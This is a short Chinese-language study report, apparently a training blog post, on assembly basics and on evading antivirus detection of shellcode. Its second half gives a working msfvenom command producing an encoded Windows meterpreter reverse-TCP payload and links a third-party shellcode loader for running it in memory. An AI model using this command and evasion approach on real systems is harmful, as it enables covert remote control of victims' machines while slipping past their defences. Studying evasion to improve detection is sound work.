本次学习报告主要针对汇编语言及shellcode免杀做了研究
一、汇编语言
计算机仅能读懂机器指令,但01组成的机器指令,使用高低电平进行表示,高电平是1,低电平是0。难以被人理解,且是除了机器语言之外,效率最高的语言。汇编语言的主体是汇编指令,汇编指令是机器指令的助记符,汇编语言要被机器识别,要使用编译器进行编译,让机器识别

在内存中,指令和数据没有区别,只在应用中有具体的概念,一段同样的01既能看做指令,也能看做数据,该被理解成指令或是数据,是由地址总线,数据总线和控制总线来决定。地址总线的宽带决定了cpu的寻址能力,数据总线的宽度决定了cpu和其他器件进行数据传送时的一次性数据传输量(即影响传输速度),控制总线决定了cpu对其他器件的控制能力。详细了解了cpu如何从内存中读写数据。
此外,还理解了汇编指令分别代表的意思
Call、add、mov、pop、jmp、ret、sub等
二、shellcode免杀
目前的反病毒安全软件,查杀方式有两种,1.基于特征,2.基于行为;云查杀也可以概括为基于特征,无论是哪种防病毒软件,都是特别针对pe头文件进行查杀,当代码中的payload越大的时候,越容易被查杀出特征。
既然知道了查杀方式,那可以得出免杀方式,即采取特征和行为分离,避免pe头文件,且进行行为分离,与特征的综合免杀

使用msf生成payload监听端口,这里payload不采取生成pe文件,而采取shellcode方式,来借助第三方直接加载进内存,。避免行为!~
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.0.107 lport=8888 -e x86/shikata_ga_nai -i 5 -f raw > test.c
因自己不会写shellcode执行盒,先找个别人的来用
https://github.com/clinicallyinane/shellcode_launcher
Shellcode方式的payload,借助第三方来启动,加载到内存

放入世界杀毒网查杀:

关注公众号:掌控安全EDU,更多黑客教程、技术文章等你领